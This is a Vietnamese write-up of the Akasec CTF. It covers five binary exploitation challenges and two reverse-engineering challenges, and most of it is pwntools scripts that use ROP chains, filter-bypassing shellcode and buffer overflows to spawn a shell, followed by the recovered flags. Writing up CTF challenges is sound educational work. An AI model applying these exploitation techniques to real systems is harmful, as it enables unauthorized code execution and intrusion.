---
# System prepended metadata

title: Akasec writeup

---

**Akasec writeup**
---

Đây là writeup các bài mình giải được trong giải akasec, bao gồm cả pwn và reverse

---
**Pwn**
---

*Warmup:*
---
- Challenge này khá đơn giản
![image](https://hackmd.io/_uploads/rk4zZtUr0.png)
![image](https://hackmd.io/_uploads/rkr_ZYIr0.png)
- Nhìn sơ qua có thể thấy chúng ta được cung cấp pointer của puts từ đầu, sau đó 2 lần input, 1 lần vào `name[]` có thể xác định địa chỉ vì NO PIE, lần thứ 2 sẽ overflow
- Sau khi thử thì overflow chỉ 2 frame, không đủ ROPchain nên giải quyết bằng cách input ROPchain vào `name[]`, sao đó overflow jump về ROPchain ở `name[]` và lấy flag

```python!
from pwn import *

cmd = '''
    b *main + 166
    continue
'''

#chall = gdb.debug("./warmup_patched", cmd)
chall = remote("172.210.129.230", 1338)
libc = ELF("./libc.so.6")

def leak():
    return int(chall.recv(14).decode(), 16)

def p(val):
    return p64(val, endian = 'little')

def _pad(val, num):
    ret = val
    while(len(ret) < num):
        ret += b'a'
    return ret

libc.address = leak() - 0x87bd0
print(hex(libc.address))
pop_rdi = libc.address + 0x10f75b
pop_rsi = libc.address + 0x110a4d
pop_rax = libc.address + 0xdd237
syscall = libc.address + 0x288b5
_ret = 0x401281
_bin_sh = libc.address + 0x1cb42f 

pop_rdx_leave = libc.address + 0x9819d
_leave = 0x401280
_name = 0x404060

payload = p(_name + 0x100) + p(pop_rdx_leave) + p(0) * 10
payload = _pad(payload, 0x100)
payload += p(_ret) + p(_ret) + p(pop_rdi) + p(_bin_sh) + p(pop_rsi) + p(0)
payload += p(pop_rax) + p(0x3b) + p(syscall)
chall.sendlineafter(b'name>>', payload)
payload = b'a' * 64 + p(_name) + p(_leave)
chall.sendlineafter(b'alright>>', payload)

chall.interactive()
```

`flag:AKASEC{1_Me44444N_J00_C0ULDve_ju57_574CK_p1V07ed}`

---

*Goodtrip:*
---

- Nhìn sơ qua challenge
![image](https://hackmd.io/_uploads/BJOUfFISC.png)
![image](https://hackmd.io/_uploads/SyeKMYIrC.png)

- Challenge sẽ cho chúng ta input shellcode nhưng filter sẽ chặn `syscall`, `sysenter` và `int 0x80`, đồng thời mprotect vùng shellcode để chúng ta không thể ghi đè lại shellcode nhằm bypass filter
- Đồng thời trước khi exec shellcode thì các thanh ghi sau cũng bị xóa:
    - ![image](https://hackmd.io/_uploads/ryZKrtUBR.png)

- Ở đây sẽ có nhiều hướng tiếp cận
    - 1: Vì chương trình NO PIE và có sử dụng hàm read nên ta có thể lấy addr của hàm read ở got, tính offset đến syscall có trong hàm read, sử dụng thay cho syscall
    - 2: mprotect sẽ dựa vào size code mà chúng ta nhập vào, tuy nhiên size không ảnh hưởng đến giới hạn len của shellcode chúng ta nhập, nên nhập 0 thì chúng ta vẫn có quyền write đè shellcode, từ đó vẫn có thể gọi syscall

- Ở trong giải mình không để ý thấy cách 2, nên đã solve theo cách 1
```python!
from pwn import *

cmd = '''
    b *exec + 64
    continue
    si
'''

#chall = gdb.debug("./good_trip", cmd)
chall = remote("172.210.129.230", 1351)

def p(val):
    return p64(val, endian = 'little')

context.log_level = 'debug'

chall.sendlineafter(b'code size >> ', str(0x1000).encode())
payload = asm('''
                mov rdi, 0x133713102d
                xor rsi, rsi
                xor rdx, rdx
                mov rax, 0x403fc0
                mov rax, [rax]
                add rax, 15
                mov rbx, rax
                xor rax, rax
                mov rax, 0x3b
                jmp rbx
              ''', arch = 'amd64', os = 'linux')
payload += b'/bin/sh\x00'
chall.sendlineafter(b'code >> ', payload)
chall.interactive()
```

`flag: AKASEC{y34h_You_C4N7_PRO73C7_5om37hIn9_YoU_doN7_h4V3}`

---

*Bad trip:*
---

![image](https://hackmd.io/_uploads/S1igVtISR.png)
![image](https://hackmd.io/_uploads/H1cG4KLSC.png)

- Challenge này tương tự như challenge good trip, tuy nhiên lần này chương trình full protected và có leak cho chúng ta 4 lower bytes của puts addr, các thanh ghi bị xóa trước khi exec shellcode vẫn tương tự
- Nhiệm vụ của chúng ta bây giờ là tìm 1 cách nào đấy biết được 2 byte còn lại của địa chỉ là áp dụng cách của good trip lấy shell
- Ở đây, có thanh ghi `fs` sẽ cho chúng ta thông tin ở vùng tls - nằm ngay trên libc và thường có format giống với libc `tls: 0x7fff%%%%%%%% - libc: 0x7fff%%%%%%%%`
- Vậy nên có thể tận dụng fs:[0x10] chứa pointer trỏ vào tls để lấy 2 byte chúng ta còn thiếu, tính offset và có syscall để gọi shell

```python!
from pwn import *

cmd = '''
    b *exec + 64
    continue
    si
'''

#chall = gdb.debug("./bad_trip_patched", cmd)
chall = remote("172.210.129.230", 1352)

def p(val):
    return p64(val, endian = 'little')

context.log_level = 'debug'

def leak():
    return int(chall.recv(10).decode(), 16)

chall.recvuntil(b'with ')

_syscall = leak() + 0x8993f

payload = asm(f'''
                mov rdi, 0x1337131050
                xor rsi, rsi
                xor rdx, rdx
                mov rax, 0x10
                mov rax, fs:[rax]
                mov rbx, 0xffffffff00000000
                and rax, rbx
                mov rcx, {hex(_syscall)}
                add rax, rcx
                mov rbx, rax
                xor rax, rax
                mov rax, 0x3b
                xor rcx, rcx
                jmp rbx
              ''', arch = 'amd64', os = 'linux')
while(len(payload) < 0x50):
    payload += b'\x90'
payload += b'/bin/sh\x00'
print(payload)
chall.sendlineafter(b'code >> ', payload)
chall.interactive()
```

`flag: AKASEC{pr3f37CH3M_Li8C_4Ddr35532}`

---

*The absolute horror of the trip:*
---

- ![image](https://hackmd.io/_uploads/ryGpBF8HC.png)
- ![image](https://hackmd.io/_uploads/BkJg8tISR.png)

- Challenge vẫn giống với bad trip, tuy nhiên có điểm khác biệt đó là trước khi exec shellcode thì các thanh ghi sau bị xóa:
    - ![image](https://hackmd.io/_uploads/H13zUtUHC.png)
- Có thể thấy, thanh ghi fs mà chúng ta sử dụng cho solve ở bad trip không bị ảnh hưởng, nên có thể copy paste qua và có flag
- Điều mình tiếc nhất đó là không đủ tỉnh táo để nhận ra `xmm` và `fs` không liên quan đến nhau, cũng như không thử code bad trip nên trong giải mình bị lỡ 1 flag quá tiếc
    - Có lẽ fs là cách intend mà author muốn hướng đến, vì ở bad trip, author nhận ra có nhiều unintend nên chặn ở challenge này nhưng mà là `xmm` chứ không phải `fs`. Có thêm kiến thức ở đây : `xmm hay fs đều có address dùng được`

```python!
from pwn import *

cmd = '''
    b *exec + 131
    continue
    si
'''

#chall = gdb.debug("./the_absolute_horror_of_the_trip_patched", cmd)
chall = remote("172.210.129.230", 1369)

def p(val):
    return p64(val, endian = 'little')

context.log_level = 'debug'

def leak():
    return int(chall.recv(10).decode(), 16)

chall.recvuntil(b'DPH* ')

_syscall = leak() + 0x8993f

payload = asm(f'''
                mov rdi, 0x1337131050
                xor rsi, rsi
                xor rdx, rdx
                mov rax, 0x10
                mov rax, fs:[rax]
                mov rbx, 0xffffffff00000000
                and rax, rbx
                mov rcx, {hex(_syscall)}
                add rax, rcx
                mov rbx, rax
                xor rax, rax
                mov rax, 0x3b
                xor rcx, rcx
                jmp rbx
              ''', arch = 'amd64', os = 'linux')
while(len(payload) < 0x50):
    payload += b'\x90'
payload += b'/bin/sh\x00'
print(payload)
chall.sendlineafter(b'code >> ', payload)
chall.interactive()
```

`flag: AKASEC{NoW_You_r34lly_H4V3_7o_pr3F37cH3M_li8C_4DDR5}`

---

*Yapping:*
---
- ![image](https://hackmd.io/_uploads/ByjVqj8BA.png)
- ![image](https://hackmd.io/_uploads/r1cPcjUS0.png)
- Challenge này có hàm vuln cho phép chúng ta read overflow, đồng thời cũng có hàm win
    - ![image](https://hackmd.io/_uploads/HJRCqjUSC.png)
- Tuy nhiên win sẽ kiểm tra tại 0x404000 có phải là xâu `admin` hay không trước khi open, read, write flag cho chúng ta
- Vì hàm vuln cho phép overflow nhưng chưa đủ để ghi đè saved_rip nhảy đến chỗ chúng ta muốn cũng như chúng ta cần phải ghi đè `0x404000` thành `admin` trước nên chưa thể 1 lần overflow có flag
- Tuy nhiên, chúng ta có thể ghi đè giá trị của `i`, giúp chúng ta có thể ghi đè bất cứ đâu chúng ta muốn 1 lần nên mình đã tiếp cận như sau:
    - Lần đầu tiên, mình overflow biến `i` để ghi đè saved_rip thành địa chỉ của hàm vuln đểcó thể ghi thêm 1 lần nữa (nhưng bỏ qua phần setup thanh ghi) đồng thời gán saved_rbp thành `0x404070` vì chương trình sẽ bắt đầu ghi từ `rbp-0x70`.
    - Lần tiếp theo sau khi return mình sẽ ghi đè được `0x404040` thành `admin`, rồi bof 1 lần nữa để nhảy vào win và có được flag.

```python!
from pwn import *

cmd = '''
    continue
'''
# Because there only print helloooo, so that i have to sleep everywhere
#chall = gdb.debug("./challenge", cmd)
chall = remote("20.80.240.190", 14124)

def p(val):
    return p64(val, endian = 'little')

context.log_level = 'debug'
chall.recv(timeout = 10)

_win = 0x401160
_user = 0x404000
_vuln = 0x4011f0

for i in range(6):
    sleep(0.5)
    chall.sendline(p(0x7000000070))
for i in range(2):
    chall.send(p(0x7000000070))
chall.sendline(p(_vuln + 4))
sleep(1)

for i in range(9):
    sleep(1)
    chall.sendline(b'123')

sleep(1)
chall.send(p(_user + 0x70))
sleep(1)
chall.send(p(_vuln + 4))
sleep(1)
chall.send(p(_win))
sleep(1)
chall.send(p(0x6400401160))
sleep(1)
chall.send(p(0))
sleep(1)
chall.sendline(b'admin\x00')

for i in range(14):
    sleep(1)
    chall.sendline()

chall.interactive()
```

`flag: AKASEC{y4pp1n6_15_50m371m35_u53full_9b9b3d9}`

---

**Reverse**
---

*Paranoia:*
---

- ![image](https://hackmd.io/_uploads/SJcYOYISA.png)
- Challenge sẽ encode flag với byte random sau đó in ra cho chúng ta
- Đơn giản là chúng ta code 1 chương trình tương tự, sau đó dịch các byte được gửi về là có được flag

```python!
from pwn import *
from ctypes import CDLL

chall = remote("20.80.240.190", 1234)
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
_seed = libc.time(0)
libc.srand(_seed)
flag = chall.recvuntil(b'\n')[:-2].decode().split()
_xor = []
for i in range(36):
    tmp = libc.rand() & 0xff
    _xor.append(tmp)
_flag = b''
for i in range(36):
    _flag += bytes.fromhex(hex(int(flag[i], 10) ^ _xor[i])[2:])

print(_flag)
```

`flag: akasec{n0t_t00_m4ny_br41nc3lls_l3ft}`

---

*Grip:*
---

- Challenge khá dài, mình tóm tắt lại là chương trình sẽ decode flag sau đó puts(":3")
- Bản thân chương trình có anti debugger
    - ![image](https://hackmd.io/_uploads/HJ6BFKIr0.png)
- Mình bật gdb lên, jump qua khỏi anti debugger và xem flag ở trong stack sau khi chương trình decode xong

`flag: akasec{sh1tty_p4ck3d_b1n4ry}`

---